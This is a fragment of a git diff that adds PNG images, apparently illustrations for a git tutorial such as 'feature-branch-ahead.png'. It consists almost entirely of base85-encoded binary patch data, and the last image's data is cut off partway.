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 YC>_qb1Ba)oWVVmP6_=muZ2S}c4Ut%&y8r+H literal 0 HcmV?d00001 diff --git a/git-day-1/feature-branch-ahead.png b/git-day-1/feature-branch-ahead.png new file mode 100644 index 0000000000000000000000000000000000000000..ffda8bcaf24f5cb8d6096eded3a868dc97ec8918 GIT binary patch literal 304245 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 